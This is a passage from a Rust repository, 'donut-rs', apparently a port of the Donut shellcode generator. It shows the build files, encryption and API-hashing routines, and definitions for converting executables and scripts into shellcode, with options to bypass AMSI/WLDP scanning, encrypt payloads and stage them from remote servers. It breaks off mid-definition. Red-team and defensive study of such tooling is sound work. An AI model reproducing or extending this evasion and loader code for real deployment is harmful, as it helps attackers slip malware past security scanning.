├── .gitignore ├── Cargo.toml ├── LICENSE ├── README.md └── src ├── crypt.rs ├── definitions.rs ├── donut.rs ├── lib.rs ├── loader.rs ├── main.rs └── utils.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "donut-rs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | [dependencies.scroll] 8 | version = "0.10" 9 | default_features = false 10 | 11 | [features] 12 | std = ["alloc", "scroll/std"] 13 | alloc = ["scroll/derive"] 14 | 15 | [dependencies] 16 | argh = "0.1" 17 | byteorder = "1.4" 18 | chaskey = { git = "https://github.com/sacundim/chaskey", branch = "master" } 19 | goblin = "0.4" 20 | plain = "0.2.3" 21 | rand = { version = "0.4", features = ["i128_support"] } 22 | uuid = { version = "0.8", features = ["v4"] } 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, postrequest 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # donut-rs 2 | 3 | [Donut](https://github.com/TheWover/donut) generator in rust. 4 | -------------------------------------------------------------------------------- /src/crypt.rs: -------------------------------------------------------------------------------- 1 | #![allow(unused_assignments)] 2 | 3 | use crate::definitions::*; 4 | use crate::utils::*; 5 | 6 | #[allow(unused)] 7 | pub fn encrypt(master_key: [u8; 16], ctr: [u8; 16], data: Vec) -> Vec { 8 | let mut ctr = ctr; 9 | let mut length = data.len() as u32; 10 | let mut x_u8 = [0u8; 16]; 11 | let mut x = [0u32; 4]; 12 | let mut r = 0u32; 13 | let mut p: usize = 0; 14 | let mut encrypted = data; 15 | let key = to_u32x4(&master_key); 16 | while length > 0 { 17 | // copy counter and nonce to local buffer 18 | x_u8 = ctr; 19 | x = to_u32x4(&x_u8); 20 | 21 | // donut_encrypt 22 | chaskey::cipher::encrypt::(&mut x, &key); 23 | 24 | // XOR plaintext with ciphertext 25 | if length > 16 { 26 | r = 16; 27 | } else { 28 | r = length; 29 | } 30 | let mut i: usize = 0; 31 | while i < r as _ { 32 | x_u8 = from_u32x4(x); 33 | encrypted[p + i] ^= x_u8[i]; 34 | i += 1; 35 | } 36 | 37 | // update length + position 38 | length -= r; 39 | p += r as usize; 40 | 41 | // update counter 42 | i = 16; 43 | while i > 0 { 44 | if ctr[i - 1] == std::u8::MAX { 45 | ctr[i - 1] = 0; 46 | } else { 47 | ctr[i - 1] += 1; 48 | } 49 | if ctr[i - 1] != 0 { 50 | break; 51 | } 52 | i -= 1; 53 | } 54 | } 55 | encrypted 56 | } 57 | 58 | pub fn rotr32(v: u32, n: u32) -> u32 { 59 | (v >> n) | (v << (32 - n)) 60 | } 61 | 62 | pub fn speck(mk: [u8; MARU_BLK_LEN], p: u64) -> u64 { 63 | let mut w = [0u32; 2]; 64 | let mut k = [0u32; 4]; 65 | let mut t = 0u32; 66 | 67 | // copy 64bit plaintext to local buffer 68 | w = to_u32x2(&pack_u64(p)); 69 | 70 | // copy 128bit master key to local buffer 71 | k = to_u32x4(&mk); 72 | 73 | for i in 0..27 { 74 | // encrypt 64bit plaintext 75 | w[0] = ((rotr32(w[0], 8) as usize + w[1] as usize) ^ k[0] as usize) as u32; 76 | w[1] = rotr32(w[1], 29) ^ w[0]; 77 | 78 | // create next 32bit subkey 79 | t = k[3]; 80 | k[3] = ((rotr32(k[1], 8) as usize + k[0] as usize) ^ i) as u32; 81 | k[0] = rotr32(k[0], 29) ^ k[3]; 82 | k[1] = k[2]; 83 | k[2] = t; 84 | } 85 | 86 | from_u32x2_u64(w) 87 | } 88 | 89 | #[allow(unused)] 90 | pub fn maru(input: [u8; DONUT_MAX_NAME], iv: u64) -> u64 { 91 | let mut h = iv; 92 | let mut b = [0u8; MARU_BLK_LEN]; 93 | 94 | // cut slice at first occurence of 0 95 | let zero_location = input.iter().position(|x| *x == 0).unwrap(); 96 | let input = &input[0..zero_location]; 97 | 98 | let (mut idx, mut length, mut end) = (0, 0, 0); 99 | loop { 100 | if end > 0 { 101 | break; 102 | } 103 | if length == input.len() || input[length] == 0 || length == MARU_MAX_STR { 104 | // zero remainder of M 105 | for j in idx..MARU_BLK_LEN { 106 | b[j] = 0; 107 | } 108 | // store the end bit 109 | b[idx] = 0x80; 110 | if idx >= MARU_BLK_LEN - 4 { 111 | h ^= speck(b, h); 112 | b = [0u8; MARU_BLK_LEN]; 113 | } 114 | let tmp_b = pack((length * 8) as u32); 115 | b[12] = tmp_b[0]; 116 | b[13] = tmp_b[1]; 117 | b[14] = tmp_b[2]; 118 | b[15] = tmp_b[3]; 119 | idx = MARU_BLK_LEN; 120 | end += 1; 121 | } else { 122 | b[idx] = input[length]; 123 | idx += 1; 124 | length += 1; 125 | } 126 | if idx == MARU_BLK_LEN { 127 | h ^= speck(b, h); 128 | idx = 0; 129 | } 130 | } 131 | h 132 | } 133 | -------------------------------------------------------------------------------- /src/definitions.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | #![allow(non_upper_case_globals)] 3 | #![allow(dead_code)] 4 | use argh::FromArgs; 5 | use goblin::container::Endian; 6 | use goblin::pe::data_directories::DataDirectory; 7 | use scroll::ctx::TryFromCtx; 8 | use scroll::Pread; 9 | use std::ffi::c_void; 10 | 11 | // define pub constants 12 | pub const DONUT_KEY_LEN: usize = 16; 13 | pub const DONUT_BLK_LEN: usize = 16; 14 | 15 | pub const DONUT_ERROR_SUCCESS: usize = 0; 16 | pub const DONUT_ERROR_FILE_NOT_FOUND: usize = 1; 17 | pub const DONUT_ERROR_FILE_EMPTY: usize = 2; 18 | pub const DONUT_ERROR_FILE_ACCESS: usize = 3; 19 | pub const DONUT_ERROR_FILE_INVALID: usize = 4; 20 | pub const DONUT_ERROR_NET_PARAMS: usize = 5; 21 | pub const DONUT_ERROR_NO_MEMORY: usize = 6; 22 | pub const DONUT_ERROR_INVALID_ARCH: usize = 7; 23 | pub const DONUT_ERROR_INVALID_URL: usize = 8; 24 | pub const DONUT_ERROR_URL_LENGTH: usize = 9; 25 | pub const DONUT_ERROR_INVALID_PARAMETER: usize = 10; 26 | pub const DONUT_ERROR_RANDOM: usize = 11; 27 | pub const DONUT_ERROR_DLL_FUNCTION: usize = 12; 28 | pub const DONUT_ERROR_ARCH_MISMATCH: usize = 13; 29 | pub const DONUT_ERROR_DLL_PARAM: usize = 14; 30 | pub const DONUT_ERROR_BYPASS_INVALID: usize = 15; 31 | pub const DONUT_ERROR_NORELOC: usize = 16; 32 | pub const DONUT_ERROR_INVALID_FORMAT: usize = 17; 33 | pub const DONUT_ERROR_INVALID_ENGINE: usize = 18; 34 | pub const DONUT_ERROR_COMPRESSION: usize = 19; 35 | pub const DONUT_ERROR_INVALID_ENTROPY: usize = 20; 36 | pub const DONUT_ERROR_MIXED_ASSEMBLY: usize = 21; 37 | 38 | // target architecture 39 | pub const DONUT_ARCH_ANY: i32 = -1; // for vbs and js files 40 | pub const DONUT_ARCH_X86: u32 = 1; // x86 41 | pub const DONUT_ARCH_X64: u32 = 2; // AMD64 42 | pub const DONUT_ARCH_X84: u32 = 3; // x86 + AMD64 43 | 44 | // module type 45 | pub const DONUT_MODULE_NET_DLL: u32 = 1; // .NET DLL. Requires class and method 46 | pub const DONUT_MODULE_NET_EXE: u32 = 2; // .NET EXE. Executes Main if no class and method provided 47 | pub const DONUT_MODULE_DLL: u32 = 3; // Unmanaged DLL, function is optional 48 | pub const DONUT_MODULE_EXE: u32 = 4; // Unmanaged EXE 49 | pub const DONUT_MODULE_VBS: u32 = 5; // VBScript 50 | pub const DONUT_MODULE_JS: u32 = 6; // JavaScript or JScript 51 | pub const DONUT_MODULE_XSL: u32 = 7; // XSL with JavaScript/JScript or VBscript embedded 52 | 53 | // format type 54 | pub const DONUT_FORMAT_BINARY: u32 = 1; 55 | pub const DONUT_FORMAT_BASE64: u32 = 2; 56 | pub const DONUT_FORMAT_RUBY: u32 = 3; 57 | pub const DONUT_FORMAT_C: u32 = 4; 58 | pub const DONUT_FORMAT_PYTHON: u32 = 5; 59 | pub const DONUT_FORMAT_POWERSHELL: u32 = 6; 60 | pub const DONUT_FORMAT_CSHARP: u32 = 7; 61 | pub const DONUT_FORMAT_HEX: u32 = 8; 62 | 63 | // compression engine 64 | pub const DONUT_COMPRESS_NONE: u32 = 1; 65 | pub const DONUT_COMPRESS_APLIB: u32 = 2; 66 | pub const DONUT_COMPRESS_LZNT1: u32 = 3; // COMPRESSION_FORMAT_LZNT1 67 | pub const DONUT_COMPRESS_XPRESS: u32 = 4; // COMPRESSION_FORMAT_XPRESS 68 | pub const DONUT_COMPRESS_XPRESS_HUFF: u32 = 5; // COMPRESSION_FORMAT_XPRESS_HUFF 69 | 70 | // entropy level 71 | pub const DONUT_ENTROPY_NONE: u32 = 1; // don't use any entropy 72 | pub const DONUT_ENTROPY_RANDOM: u32 = 2; // use random names 73 | pub const DONUT_ENTROPY_DEFAULT: u32 = 3; // use random names + symmetric encryption 74 | 75 | // misc options 76 | pub const DONUT_OPT_EXIT_THREAD: u32 = 1; // after the main shellcode ends, return to the caller which eventually calls RtlExitUserThread 77 | pub const DONUT_OPT_EXIT_PROCESS: u32 = 2; // after the main shellcode ends, call RtlExitUserProcess to terminate host process 78 | 79 | // instance type 80 | pub const DONUT_INSTANCE_EMBED: u32 = 1; // Module is embedded 81 | pub const DONUT_INSTANCE_HTTP: u32 = 2; // Module is downloaded from remote HTTP/HTTPS server 82 | pub const DONUT_INSTANCE_DNS: u32 = 3; // Module is downloaded from remote DNS server 83 | 84 | // AMSI/WLDP level 85 | pub const DONUT_BYPASS_NONE: u32 = 1; // Disables bypassing AMSI/WDLP 86 | pub const DONUT_BYPASS_ABORT: u32 = 2; // If bypassing AMSI/WLDP fails, the loader stops running 87 | pub const DONUT_BYPASS_CONTINUE: u32 = 3; // If bypassing AMSI/WLDP fails, the loader continues running 88 | 89 | pub const DONUT_MAX_NAME: usize = 256; // maximum length of string for domain, class, method and parameter names 90 | pub const DONUT_MAX_DLL: u32 = 8; // maximum number of DLL supported by instance 91 | pub const DONUT_MAX_MODNAME: u32 = 8; 92 | pub const DONUT_SIG_LEN: usize = 8; // 64-bit string to verify decryption ok 93 | pub const DONUT_VER_LEN: usize = 32; 94 | pub const DONUT_DOMAIN_LEN: usize = 8; 95 | 96 | pub const MARU_MAX_STR: usize = 64; 97 | pub const MARU_BLK_LEN: usize = 16; 98 | pub const MARU_HASH_LEN: usize = 8; 99 | pub const MARU_IV_LEN: usize = 8; 100 | 101 | pub const DONUT_RUNTIME_NET2: &str = "v2.0.50727"; 102 | pub const DONUT_RUNTIME_NET4: &str = "v4.0.30319"; 103 | 104 | pub const NTDLL_DLL: &str = "ntdll.dll"; 105 | pub const KERNEL32_DLL: &str = "kernel32.dll"; 106 | pub const ADVAPI32_DLL: &str = "advapi32.dll"; 107 | pub const CRYPT32_DLL: &str = "crypt32.dll"; 108 | pub const MSCOREE_DLL: &str = "mscoree.dll"; 109 | pub const OLE32_DLL: &str = "ole32.dll"; 110 | pub const OLEAUT32_DLL: &str = "oleaut32.dll"; 111 | pub const WININET_DLL: &str = "wininet.dll"; 112 | pub const COMBASE_DLL: &str = "combase.dll"; 113 | pub const USER32_DLL: &str = "user32.dll"; 114 | pub const SHLWAPI_DLL: &str = "shlwapi.dll"; 115 | pub const SHELL32_DLL: &str = "shell32.dll"; 116 | 117 | // structs 118 | /// Only the finest artisanal donuts are made of shells. 119 | #[derive(Clone, Debug, FromArgs)] 120 | pub struct DonutParser { 121 | /// input file 122 | #[argh(option)] 123 | pub input: String, 124 | 125 | // MODULE OPTIONS 126 | /// module name for HTTP staging. If entropy is enabled, this is generated randomly. 127 | #[argh(option)] 128 | pub modname: Option, 129 | /// HTTP server that will host the donut module. 130 | #[argh(option)] 131 | pub server: Option, 132 | /// entropy. 1=None, 2=Use random names, 3=Random names + symmetric encryption (default) 133 | #[argh(option, default = "3")] 134 | pub entropy: u32, 135 | 136 | // PIC/SHELLCODE OPTIONS 137 | /// target architecture : 1=x86, 2=amd64, 3=x86+amd64(default). 138 | #[argh(option, default = "3")] 139 | pub arch: u32, 140 | /// bypass AMSI/WLDP : 1=None, 2=Abort on fail, 3=Continue on fail.(default) 141 | #[argh(option, default = "3")] 142 | pub bypass: u32, 143 | /// output file to save loader. Default is "loader.bin" 144 | #[argh(option, default = "\"loader.bin\".to_string()")] 145 | pub output: String, 146 | /// create thread for loader and continue execution at address (original entrypoint) supplied. 147 | #[argh(option)] 148 | pub oep: Option, 149 | /// exiting. 1=Exit thread (default), 2=Exit process 150 | #[argh(option, default = "1")] 151 | pub exit_opt: u32, 152 | 153 | // FILE OPTIONS 154 | /// optional class name. (required for .NET DLL) 155 | #[argh(option)] 156 | pub class: Option, 157 | /// the AppDomain name to create for .NET assembly. If entropy is enabled, this is generated randomly. 158 | #[argh(option)] 159 | pub domain: Option, 160 | /// optional method or function for DLL. (a method is required for .NET DLL) 161 | #[argh(option)] 162 | pub method: Option, 163 | /// optional parameters/command line inside quotations for DLL method/function or EXE. 164 | #[argh(option)] 165 | pub parameters: Option, 166 | /// command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI) 167 | #[argh(option)] 168 | pub unicode: Option, 169 | /// CLR runtime version. MetaHeader used by default or v4.0.30319 if none available. 170 | #[argh(option)] 171 | pub runtime: Option, 172 | /// execute the entrypoint of an unmanaged EXE as a thread. 173 | #[argh(option)] 174 | pub thread: Option, 175 | /// pack/Compress file. 1=None, 2=aPLib 176 | #[argh(option, default = "1")] 177 | pub compress: u32, 178 | } 179 | 180 | //#[repr(C)] 181 | pub struct DonutConfig { 182 | pub len: u32, // original length of input file 183 | pub zlen: u32, // compressed length 184 | 185 | // general / misc options for loader 186 | pub arch: u32, // target architecture 187 | pub bypass: u32, // bypass option for AMSI/WDLP 188 | pub compress: u32, // engine to use when compressing file via RtlCompressBuffer 189 | pub entropy: u32, // entropy/encryption level 190 | pub format: u32, // output format for loader 191 | pub exit_opt: u32, // return to caller or invoke RtlExitUserProcess to terminate the host process 192 | pub thread: u32, // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API 193 | pub oep: u64, // original entrypoint of target host file 194 | 195 | // .NET stuff 196 | pub runtime: String, // runtime version to use for CLR 197 | pub domain: String, // name of domain to create for .NET DLL/EXE 198 | pub class: String, // name of class with optional namespace for .NET DLL 199 | pub method: String, // name of method or DLL function to invoke for .NET DLL and unmanaged DLL 200 | 201 | // command line for DLL/EXE 202 | pub parameters: String, // command line to use for unmanaged DLL/EXE and .NET DLL/EXE 203 | pub unicode: u32, // param is passed to DLL function without converting to unicode 204 | 205 | // HTTP/DNS staging information 206 | pub server: String, // points to root path of where module will be stored on remote HTTP server or DNS server 207 | pub modname: String, // name of module written to disk for http stager 208 | 209 | // DONUT_MODULE 210 | pub module_type: u32, // VBS/JS/DLL/EXE 211 | pub module_len: u32, // size of DONUT_MODULE 212 | pub module: DonutModule, // points to DONUT_MODULE 213 | pub module_data: Vec, // raw module 214 | 215 | // DONUT_INSTANCE 216 | pub instance_type: u32, // DONUT_INSTANCE_EMBED or DONUT_INSTANCE_HTTP 217 | pub instance_len: u32, // size of DONUT_INSTANCE 218 | pub instance: DonutInstance, // points to DONUT_INSTANCE 219 | 220 | // shellcode generated from configuration 221 | pub pic_len: u32, // size of loader/shellcode 222 | pub pic: *mut c_void, // points to loader/shellcode 223 | } 224 | 225 | impl Default for DonutConfig { 226 | fn default() -> Self { 227 | DonutConfig { 228 | len: 0, 229 | zlen: 0, 230 | arch: 0, 231 | bypass: 0, 232 | compress: 1, 233 | entropy: 0, 234 | format: 0, 235 | exit_opt: 0, 236 | thread: 0, 237 | oep: 0, 238 | runtime: String::new(), 239 | domain: String::new(), 240 | class: String::new(), 241 | method: String::new(), 242 | parameters: String::new(), 243 | unicode: 0, 244 | server: String::new(), 245 | modname: String::new(), 246 | module_type: 0, 247 | module_len: 0, 248 | module: DonutModule { 249 | module_type: 0, 250 | thread: 0, 251 | compress: 0, 252 | runtime: [0; DONUT_MAX_NAME], 253 | domain: [0; DONUT_MAX_NAME], 254 | class: [0; DONUT_MAX_NAME], 255 | method: [0; DONUT_MAX_NAME], 256 | parameters: [0; DONUT_MAX_NAME], 257 | unicode: 0, 258 | sig: [0; DONUT_SIG_LEN], 259 | mac: 0, 260 | zlen: 0, 261 | len: 0, 262 | data: [0; 4], 263 | }, 264 | module_data: Vec::new(), 265 | instance_type: 0, 266 | instance_len: 0, 267 | instance: DonutInstance { 268 | len: 0, 269 | master_key: [0; 16], 270 | counter_and_nonce: [0; 16], 271 | iv: 0, 272 | hash: [0; 64], 273 | exit_opt: 0, 274 | entropy: 0, 275 | oep: 0, 276 | api_cnt: 0, 277 | dll_names: [0; DONUT_MAX_NAME], 278 | dataname: [0; 8], 279 | kernelbase: [0; 12], 280 | amsi: [0; 8], 281 | clr: [0; 4], 282 | wldp: [0; 8], 283 | cmd_syms: [0; DONUT_MAX_NAME], 284 | exit_api: [0; DONUT_MAX_NAME], 285 | bypass: 0, 286 | wldp_query: [0; 32], 287 | wldp_is_approved: [0; 32], 288 | amsi_init: [0; 16], 289 | amsi_scan_buf: [0; 16], 290 | amsi_scan_str: [0; 16], 291 | wscript: [0; 8], 292 | wscript_exe: [0; 12], 293 | xIID_IUnknown: GUID::default(), 294 | xIID_IDispatch: GUID::default(), 295 | xCLSID_CLRMetaHost: GUID::default(), 296 | xIID_ICLRMetaHost: GUID::default(), 297 | xIID_ICLRRuntimeInfo: GUID::default(), 298 | xCLSID_CorRuntimeHost: GUID::default(), 299 | xIID_ICorRuntimeHost: GUID::default(), 300 | xIID_AppDomain: GUID::default(), 301 | xCLSID_ScriptLanguage: GUID::default(), 302 | xIID_IHost: GUID::default(), 303 | xIID_IActiveScript: GUID::default(), 304 | xIID_IActiveScriptSite: GUID::default(), 305 | xIID_IActiveScriptSiteWindow: GUID::default(), 306 | xIID_IActiveScriptParse32: GUID::default(), 307 | xIID_IActiveScriptParse64: GUID::default(), 308 | instance_type: 0, 309 | server: [0; DONUT_MAX_NAME], 310 | http_req: [0; 8], 311 | sig: [0; DONUT_MAX_NAME], 312 | mac: 0, 313 | mod_master_key: [0; 16], 314 | mod_counter_and_nonce: [0; 16], 315 | mod_len: 0, 316 | }, 317 | pic_len: 0, 318 | pic: 0 as _, 319 | } 320 | } 321 | } 322 | 323 | //#[derive(Clone, Debug)] 324 | #[repr(C)] 325 | pub struct DonutInstance { 326 | pub len: u32, // total size of instance 327 | pub master_key: [u8; 16], 328 | pub counter_and_nonce: [u8; 16], 329 | 330 | pub iv: u64, // the 64-bit initial value for maru hash 331 | 332 | pub hash: [u64; 64], // holds up to 64 api hashes 333 | 334 | pub exit_opt: u32, // 1 to call RtlExitUserProcess and terminate the host process 335 | pub entropy: u32, // indicates entropy level 336 | pub oep: u64, // original entrypoint 337 | 338 | // everything from here is encrypted 339 | pub api_cnt: u32, // the 64-bit hashes of API required for instance to work 340 | pub dll_names: [u8; DONUT_MAX_NAME], // a list of DLL strings to load, separated by semi-colon 341 | 342 | pub dataname: [u8; 8], // ".data" 343 | pub kernelbase: [u8; 12], // "kernelbase" 344 | pub amsi: [u8; 8], // "amsi" 345 | pub clr: [u8; 4], // "clr" 346 | pub wldp: [u8; 8], // "wldp" 347 | 348 | pub cmd_syms: [u8; DONUT_MAX_NAME], // symbols related to command line 349 | pub exit_api: [u8; DONUT_MAX_NAME], // exit-related API 350 | 351 | pub bypass: u32, // indicates behaviour of byassing AMSI/WLDP 352 | pub wldp_query: [u8; 32], // WldpQueryDynamicCodeTrust 353 | pub wldp_is_approved: [u8; 32], // WldpIsClassInApprovedList 354 | pub amsi_init: [u8; 16], // AmsiInitialize 355 | pub amsi_scan_buf: [u8; 16], // AmsiScanBuffer 356 | pub amsi_scan_str: [u8; 16], // AmsiScanString 357 | 358 | pub wscript: [u8; 8], // WScript 359 | pub wscript_exe: [u8; 12], // wscript.exe 360 | 361 | pub xIID_IUnknown: GUID, 362 | pub xIID_IDispatch: GUID, 363 | 364 | // GUID required to load .NET assemblies 365 | pub xCLSID_CLRMetaHost: GUID, 366 | pub xIID_ICLRMetaHost: GUID, 367 | pub xIID_ICLRRuntimeInfo: GUID, 368 | pub xCLSID_CorRuntimeHost: GUID, 369 | pub xIID_ICorRuntimeHost: GUID, 370 | pub xIID_AppDomain: GUID, 371 | 372 | // GUID required to run VBS and JS files 373 | pub xCLSID_ScriptLanguage: GUID, // vbs or js 374 | pub xIID_IHost: GUID, // wscript object 375 | pub xIID_IActiveScript: GUID, // engine 376 | pub xIID_IActiveScriptSite: GUID, // implementation 377 | pub xIID_IActiveScriptSiteWindow: GUID, // basic GUI stuff 378 | pub xIID_IActiveScriptParse32: GUID, // parser 379 | pub xIID_IActiveScriptParse64: GUID, 380 | 381 | pub instance_type: u32, // DONUT_INSTANCE_EMBED, DONUT_INSTANCE_HTTP 382 | pub server: [u8; DONUT_MAX_NAME], // staging server hosting donut module 383 | pub http_req: [u8; 8], // just a buffer for "GET" 384 | 385 | pub sig: [u8; DONUT_MAX_NAME], // string to hash 386 | pub mac: u64, // to verify decryption ok 387 | 388 | pub mod_master_key: [u8; 16], 389 | pub mod_counter_and_nonce: [u8; 16], 390 | pub mod_len: u64, // total size of module 391 | } 392 | 393 | #[repr(C)] 394 | pub struct DonutModule { 395 | pub module_type: u32, // EXE/DLL/JS/VBS 396 | pub thread: u32, // run entrypoint of unmanaged EXE as a thread 397 | pub compress: u32, // indicates engine used for compression 398 | 399 | pub runtime: [u8; DONUT_MAX_NAME], // runtime version for .NET EXE/DLL 400 | pub domain: [u8; DONUT_MAX_NAME], // domain name to use for .NET EXE/DLL 401 | pub class: [u8; DONUT_MAX_NAME], // name of class and optional namespace for .NET EXE/DLL 402 | pub method: [u8; DONUT_MAX_NAME], // name of method to invoke for .NET DLL or api for unmanaged DLL 403 | 404 | pub parameters: [u8; DONUT_MAX_NAME], // string parameters for both managed and unmanaged DLL/EXE 405 | pub unicode: u32, // convert param to unicode for unmanaged DLL function 406 | 407 | pub sig: [u8; DONUT_SIG_LEN], // string to verify decryption 408 | pub mac: u64, // hash of sig, to verify decryption was ok 409 | 410 | pub zlen: u32, // compressed size of EXE/DLL/JS/VBS file 411 | pub len: u32, // real size of EXE/DLL/JS/VBS file 412 | pub data: [u8; 4], // data of EXE/DLL/JS/VBS file 413 | } 414 | 415 | #[derive(Default)] 416 | #[repr(C)] 417 | pub struct ApiImport { 418 | pub module: String, 419 | pub name: String, 420 | } 421 | 422 | #[derive(Clone, Debug, Default)] 423 | #[repr(C)] 424 | pub struct GUID { 425 | data_1: u32, 426 | data_2: u16, 427 | data_3: u16, 428 | data_4: [u8; 8], 429 | } 430 | 431 | #[derive(Debug, Default)] 432 | pub struct DotNetResult { 433 | pub is_dotnet: bool, 434 | pub version: String, 435 | } 436 | 437 | #[repr(C)] 438 | #[derive(Debug, Pread)] 439 | pub struct CliHeader { 440 | pub cb: u32, 441 | pub major_version: u16, 442 | pub minor_version: u16, 443 | pub metadata: DataDirectory, 444 | pub flags: u32, 445 | pub entry_point_token: u32, 446 | } 447 | 448 | #[repr(C)] 449 | #[derive(Debug)] 450 | pub struct MetadataRoot<'a> { 451 | pub signature: u32, 452 | pub major_version: u16, 453 | pub minor_version: u16, 454 | _reserved: u32, 455 | pub length: u32, 456 | pub version: &'a str, 457 | } 458 | 459 | impl<'a> TryFromCtx<'a, Endian> for MetadataRoot<'a> { 460 | type Error = scroll::Error; 461 | fn try_from_ctx(src: &'a [u8], endian: Endian) -> Result<(Self, usize), Self::Error> { 462 | let offset = &mut 0; 463 | let signature = src.gread_with(offset, endian)?; 464 | let major_version = src.gread_with(offset, endian)?; 465 | let minor_version = src.gread_with(offset, endian)?; 466 | let reserved = src.gread_with(offset, endian)?; 467 | let length = src.gread_with(offset, endian)?; 468 | let version = src.gread(offset)?; 469 | Ok(( 470 | Self { 471 | signature, 472 | major_version, 473 | minor_version, 474 | _reserved: reserved, 475 | length, 476 | version, 477 | }, 478 | *offset, 479 | )) 480 | } 481 | } 482 | 483 | // required to load .NET assemblies 484 | pub const xCLSID_CorRuntimeHost: GUID = GUID { 485 | data_1: 0xcb2f6723, 486 | data_2: 0xab3a, 487 | data_3: 0x11d2, 488 | data_4: [0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e], 489 | }; 490 | 491 | pub const xIID_ICorRuntimeHost: GUID = GUID { 492 | data_1: 0xcb2f6722, 493 | data_2: 0xab3a, 494 | data_3: 0x11d2, 495 | data_4: [0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e], 496 | }; 497 | 498 | pub const xCLSID_CLRMetaHost: GUID = GUID { 499 | data_1: 0x9280188d, 500 | data_2: 0xe8e, 501 | data_3: 0x4867, 502 | data_4: [0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde], 503 | }; 504 | 505 | pub const xIID_ICLRMetaHost: GUID = GUID { 506 | data_1: 0xD332DB9E, 507 | data_2: 0xB9B3, 508 | data_3: 0x4125, 509 | data_4: [0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16], 510 | }; 511 | 512 | pub const xIID_ICLRRuntimeInfo: GUID = GUID { 513 | data_1: 0xBD39D1D2, 514 | data_2: 0xBA2F, 515 | data_3: 0x486a, 516 | data_4: [0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91], 517 | }; 518 | 519 | pub const xIID_AppDomain: GUID = GUID { 520 | data_1: 0x05F696DC, 521 | data_2: 0x2B29, 522 | data_3: 0x3663, 523 | data_4: [0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13], 524 | }; 525 | 526 | // required to load VBS and JS files 527 | pub const xIID_IUnknown: GUID = GUID { 528 | data_1: 0x00000000, 529 | data_2: 0x0000, 530 | data_3: 0x0000, 531 | data_4: [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 532 | }; 533 | 534 | pub const xIID_IDispatch: GUID = GUID { 535 | data_1: 0x00020400, 536 | data_2: 0x0000, 537 | data_3: 0x0000, 538 | data_4: [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46], 539 | }; 540 | 541 | pub const xIID_IHost: GUID = GUID { 542 | data_1: 0x91afbd1b, 543 | data_2: 0x5feb, 544 | data_3: 0x43f5, 545 | data_4: [0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec], 546 | }; 547 | 548 | pub const xIID_IActiveScript: GUID = GUID { 549 | data_1: 0xbb1a2ae1, 550 | data_2: 0xa4f9, 551 | data_3: 0x11cf, 552 | data_4: [0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64], 553 | }; 554 | 555 | pub const xIID_IActiveScriptSite: GUID = GUID { 556 | data_1: 0xdb01a1e3, 557 | data_2: 0xa42b, 558 | data_3: 0x11cf, 559 | data_4: [0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64], 560 | }; 561 | 562 | pub const xIID_IActiveScriptSiteWindow: GUID = GUID { 563 | data_1: 0xd10f6761, 564 | data_2: 0x83e9, 565 | data_3: 0x11cf, 566 | data_4: [0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64], 567 | }; 568 | 569 | pub const xIID_IActiveScriptParse32: GUID = GUID { 570 | data_1: 0xbb1a2ae2, 571 | data_2: 0xa4f9, 572 | data_3: 0x11cf, 573 | data_4: [0x8f, 0x20, 0x00, 0x80, 